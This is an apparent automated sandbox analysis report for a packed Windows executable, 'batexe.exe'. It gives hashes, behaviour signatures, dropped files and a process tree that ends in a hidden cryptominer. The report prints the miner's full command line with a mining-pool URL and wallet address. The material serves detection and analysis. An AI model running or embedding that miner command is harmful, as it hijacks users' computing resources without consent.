73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 21:38

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3172	b2e.exe
2916	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2916	cpuminer-sse2.exe
2916	cpuminer-sse2.exe
2916	cpuminer-sse2.exe
2916	cpuminer-sse2.exe
2916	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1312-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1312 wrote to memory of 3172	1312	batexe.exe	75
PID 1312 wrote to memory of 3172	1312	batexe.exe	75
PID 1312 wrote to memory of 3172	1312	batexe.exe	75
PID 3172 wrote to memory of 3844	3172	b2e.exe	76
PID 3172 wrote to memory of 3844	3172	b2e.exe	76
PID 3172 wrote to memory of 3844	3172	b2e.exe	76
PID 3844 wrote to memory of 2916	3844	cmd.exe	79
PID 3844 wrote to memory of 2916	3844	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B65.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe

Filesize
6.0MB

MD5
84746c37acd2fdb99aaa67339c40d085

SHA1
a2cdb0dee06675c7eb313861426b3a953d89f5c7

SHA256
9ce693f3eb8bd412920ebdd678aac6e0ed6242db1b5f262144def46c1a9d3b21

SHA512
90bd70404062fcb34613aa0e5b742f62d1de5e596e83d79d37befeba4c7df381d648f1aff8891a409ca1c704a0bd480522d7112f5e9fa0e3ff6321eb8a561de4

Download Submit
C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe

Filesize
6.4MB

MD5
65cdad972c587f3da298b9a4da68397e

SHA1
84a5631ff6131646ba8821afec9d5145ff6bde93

SHA256
adc70ab1ca0683e68f49f21886548ee4ade00ff1332d62a647f88006b6ddec47

SHA512
b707988a0a0a7a1205426ac2b869da2cebb8b35e542d85e1fdfba67e1e08983497816f129dbd844943c2851d0be0c06f433d0d7e7e84be98b222582b5ca6ac01

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B65.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.2MB

MD5
f26f8bf6afe4b90e974a4cf93316c228

SHA1
22816f512525fd4eb24e02c8507e9bd39e74b89e

SHA256
12bbc12368cafa90f7f6f24185d5c7b4e0f58c1b3795a24fb87eeb9c669695cc

SHA512
98b31dd588ac00993e0f732a281022731a2ec9737e7c6659126ff41ac99ab8dbb9b840dfede4e29c61a8f7ed7aae10cf3e144e7d35589eb8b01107854c6e8a43

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
775fbdd4ed76b53a61cd193e5c8626d2

SHA1
bb730e3068384bd76481b49ad44a5fbbaea08a44

SHA256
54f328811460b653fdd3388639a67c8e8df7e86e9947cc6972455f25c04973ea

SHA512
dc455c58d83f9af84e04ba5506da1b0d2dd88cf61007d1fc16f604e6fddb0685ab9009a210707acafa6a60dca11f3ff44b29a5fc185596949781124294679d45

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
f8bcdf11353d0c86389e9c8a11c3cf4f

SHA1
26e2254890762d23659a1f208ac6dceb487a1afb

SHA256
46abfd7545f14618543d1c2483e80279d41c5109a6801f826139e07ec74da021

SHA512
43a48a920160c77cf9892e6433e97806cf239deb46a0547a539e6a3da0911e6f5a52054c2802ee733e3dfc4754fc5c54b7a476c81480c4be3601b23fb9eb30cc

Download Submit
memory/1312-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2916-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2916-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2916-42-0x0000000076060000-0x00000000760F8000-memory.dmp

Filesize
608KB

Download
memory/2916-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/2916-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2916-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3172-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3172-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download